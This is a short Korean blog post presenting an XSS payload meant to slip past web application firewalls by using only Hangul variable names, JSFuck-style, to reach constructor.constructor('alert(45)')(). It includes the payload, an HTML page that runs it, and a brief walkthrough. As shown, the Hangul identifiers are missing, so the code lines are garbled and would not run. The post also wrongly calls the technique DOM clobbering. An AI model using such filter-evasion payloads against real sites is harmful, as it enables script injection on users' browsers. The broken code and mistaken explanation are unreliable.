WAF Bypass XSS Payload Only Hangul

한글만 이용해서 XSS 페이로드 만들기

어제 뒤적뒤적 웹 서핑하다가 가타카나로 된 공격코드를 보고 한글로도 한번 만들어봐야지 싶어 퇴근길에 폰으로 만들어봤습니다 😊

([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[+=+++++++++][](+++++'(45)')()

실제로 테스트해보면 정상적으로 alert 함수가 동작합니다.

<html>
  <head>
    <meta charset="utf-8">
  </head>
<script>
([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)
[+=+++++++++][](+++++'(45)')()
</script>
</html>

How to make?

결국은 JSFuck에서 파생된 코드입니다. 아래 코드 보면 interger같이 여러 타입들에서 Array 형태로 호출하면 2.abcd.asdf 하는 식으로 내려갈 수 있습니다. 이를 DOM Clobbering이라고 부르는데 결국 저런식으로 Object를 참조하여 내부 consturctor(생성자)로 특정 함수를 실행할 수 있게 됩니다.

(a=1, b=2)["constructor"]["alert"]()

TypeError: 2.constructor.alert is not a function

풀어서 보면 각각 한글이 코드를 담고 있는 변수가 되고,

([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)
//윗줄은 각각 에러 데이터를 이용해서 문자열을 저장하기 위한 방법들
[+=+++++++++][](+++++'(45)')()
//  constructor           constructor    alert(45)

최종적으론 constructor.constructor('alert(45)')() 형태의 코드로 실행됩니다.

  • : constructor
  • 훌(a) == constructor(a)

jsfuck 쪽 내용 참고해주시면 조금이나마 도움됩니다 :)

References